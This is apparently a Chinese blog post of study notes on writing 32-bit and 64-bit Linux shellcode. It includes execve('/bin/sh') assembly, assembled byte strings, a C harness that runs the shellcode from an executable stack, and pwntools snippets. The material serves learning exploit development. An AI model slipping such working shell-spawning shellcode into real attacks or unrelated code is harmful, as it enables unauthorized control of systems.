2022/8/4
不得不说,经过DataCon前两天的培训,感觉我又行了/╲/( •̀ ω •́ )/\╱\
32位shellcode编写
参考链接(32位):shellcode编写32位(Linux)_helloworddm的博客-CSDN博客_linux shellcode
汇编器安装:汇编笔记 | xiaoxiaoxy (xiaoxiaoxy1.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| 1、手写C代码 详见参考链接(32位) 2、静态编译,防止调用动态链接,在程序中保留系统调用代码 $ gcc -static -o <可执行文件名> <文件名>.c -32 3、gdb <可执行文件名> 查看汇编代码
4、汇编代码写至<文件名>.asm文件。下面是execve("/bin/sh",buf,0);的大致汇编 global _start _start: xor ecx,ecx xor edx,edx push edx push "//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80h 5、nasm编译.asm文件 $ nasm -f elf32 -o hello.o <文件名>.asm $ ld -m elf_i386 -o hello hello.o $ objdump -d hello 注:汇编器的安装详见汇编器安装链接,上方↑ 6、排列好shellcode,排列方式如后图图1 个人在ubuntu20.04排列的一条32位shellcode: "\x31\xC9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68" + "\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80" 组合如下: "\x31\xC9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
7、写好用作测试的C文件 void main(){ char shellcode[] = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; void (*fp)(void); fp = (void*)shellcode; fp(); }
8、编译执行C文件 $ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode -m32 $ ./shellcode 其中 -z execstack 指开启可执行栈
|
图1:
图2:
1 2 3 4 5 6 7 8 9 10
|
from pwn import * context.arch = 'i386' shellcode = asm(shellcraft.sh())
from pwn import * context.arch = 'amd64' shellcode = asm(shellcraft.sh())
|
图3:
64位shellcode编写
参考链接(64位):64位shellcode编写 | nuoye’s blog (nuoye-blog.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 1、编写 from pwn import * context.arch = 'amd64' shellcode = ''' xor rdx,rdx; push rdx; mov rsi,rsp; mov rax,0x68732f2f6e69622f; push rax; mov rdi,rsp; mov rax,59; syscall; ''' shellcode = asm(shellcode) print(shellcode)
|
图4: